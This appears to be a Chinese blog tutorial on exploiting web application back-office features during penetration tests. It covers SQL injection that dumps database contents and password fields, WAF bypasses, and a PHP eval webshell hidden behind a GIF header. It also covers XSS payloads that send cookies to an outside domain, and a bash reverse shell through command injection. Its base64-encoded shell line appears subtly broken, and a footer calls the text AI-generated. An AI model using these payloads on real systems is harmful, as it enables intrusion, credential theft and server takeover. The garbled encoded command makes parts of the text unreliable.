第二道口

Web渗透测试“第二道口”实战:常见漏洞挖掘与利用全解析

在Web渗透测试的实战场景中,“第二道口”通常是突破初始验证(如弱口令登录)后,聚焦业务功能点的核心关卡,也是暴露中高危漏洞的高频区域。本文结合OWASP Top 10准则,拆解“第二道口”常见漏洞类型、测试思路与实战利用技巧。

一、场景预判:“第二道口”的核心测试方向

“第二道口”一般对应后台功能模块或业务交互接口,比如数据列表页、用户内容提交区、系统运维工具、文件管理模块等。测试前需先梳理功能链路:从入口点(如后台登录后的仪表盘)出发,标记所有可输入、可上传、可执行交互的位置,优先测试数据交互型功能(如查询、提交、导入导出)和系统操作型功能(如备份、配置修改)。

二、高频漏洞挖掘与实战利用

1. SQL注入漏洞:数据查询页的“突破口”

测试思路

目标:列表页ID参数、搜索框、筛选器等用户可控输入点。通过单引号闭合、联合查询、报错注入等方式验证注入存在性。

  • 基础验证:在参数后加单引号,如?id=1',观察页面是否返回数据库报错(如“MySQL syntax error”);
  • 联合查询注入:构造?id=1' UNION SELECT 1,database(),version()--+,获取当前数据库名、版本;
  • 报错注入:若页面屏蔽正常返回,构造?id=1' AND UPDATEXML(1,CONCAT(0x7e,(SELECT user()),0x7e),1)--+,通过报错信息提取敏感数据。

实战利用步骤

-- 1. 爆所有数据库名
?id=1' UNION SELECT 1,GROUP_CONCAT(SCHEMA_NAME),3 FROM INFORMATION_SCHEMA.SCHEMATA--+
-- 2. 爆目标数据库表名
?id=1' UNION SELECT 1,GROUP_CONCAT(TABLE_NAME),3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='testdb'--+
-- 3. 爆敏感字段内容
?id=1' UNION SELECT 1,GROUP_CONCAT(username,0x3a,password),3 FROM testdb.users--+

WAF绕过技巧

采用大小写混合(Union Select)、URL编码(%27替代单引号)、注释干扰(1'/**/UNION/**/SELECT/**/1,user(),3--+)等方式绕过规则引擎。

2. 文件上传漏洞:后台运维区的“后门通道”

测试思路

目标:用户头像上传、文件备份、资源上传等功能。重点测试前端验证、后端规则的绕过方法:

  • 前端验证绕过:禁用浏览器JS或直接抓包修改请求,绕过仅靠JS限制的上传逻辑;
  • MIME类型绕过:抓包将Content-Type从image/jpeg改为application/octet-streamtext/plain,绕过后端MIME校验;
  • 文件后缀绕过:针对不同服务器环境,测试.php5/.phtml(Apache)、.asp/.aspx(IIS)、.htaccess(配置解析规则)等绕过方式;
  • 内容校验绕过:在木马头部添加图片文件头,如GIF89a?<?php @eval($_POST['cmd']);?>,绕过图片内容检测。

实战利用示例

  1. 构造一句话木马文件shell.php5
    GIF89a?
    <?php @eval($_POST['cmd']);?>
  2. 抓包修改文件后缀为.php5,上传成功后,通过访问http://target.com/upload/shell.php5,用蚁剑/菜刀连接,获取服务器权限。

3. 存储型XSS漏洞:用户内容区的“潜伏炸弹”

测试思路

目标:用户留言板、个人资料编辑、商品评价等可存储内容的功能。输入XSS payload,验证是否被持久化存储并执行:

  • 基础Payload:<script>alert(document.cookie)</script>,测试是否弹出Cookie;
  • 绕过过滤Payload:若尖括号被过滤,尝试<img src=x onerror=alert(document.cookie)><svg onload=alert(1)>
  • 钓鱼Payload:<script>window.open('http://yourdomain.com/phish.php?cookie='+document.cookie)</script>,窃取用户登录Cookie。

实战价值

存储型XSS可长期存在于系统中,当管理员访问受影响页面时,可直接窃取管理员Cookie,实现越权登录后台,甚至控制整个系统。

4. 命令执行漏洞:运维工具的“权限放大器”

测试思路

目标:在线Ping工具、日志分析、备份脚本等调用系统命令的功能。通过拼接命令参数验证执行权限:

  • 基础验证:输入127.0.0.1 && whoami,观察页面是否返回当前用户信息;
  • 反弹Shell利用:若服务器可出网,构造Payload:
    127.0.0.1 && bash -i >& /dev/tcp/your_ip/443 0>&1

    在本地监听443端口,即可获取服务器交互式Shell。

绕过技巧

若命令被过滤,尝试用同义词替换(&&||;)、编码执行(echo "YmluIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS80NDMgMD4mMQ==" | base64 -d | bash)。

三、“第二道口”通关总结

  1. 优先测试高危漏洞:SQL注入、文件上传、命令执行,这类漏洞直接关联服务器权限获取;
  2. 细节决定成败:关注功能点的边界情况,比如文件上传的特殊后缀、SQL注入的报错信息、XSS的过滤规则;
  3. 绕过是核心:针对WAF、应用防护,灵活运用编码、注释、变形等技巧,突破规则限制;
  4. 权限提升:获取初始权限后,通过提权脚本(如LinPEAS、WinPEAS)扫描服务器漏洞,实现从Web权限到系统权限的跨越。

通过以上思路和技巧,可高效突破“第二道口”,为后续的全系统渗透测试奠定基础。

所有内容均由人工智能模型生成,其生成内容的准确性和完整性无法保证,不代表我们的态度或观点。


评论 (0)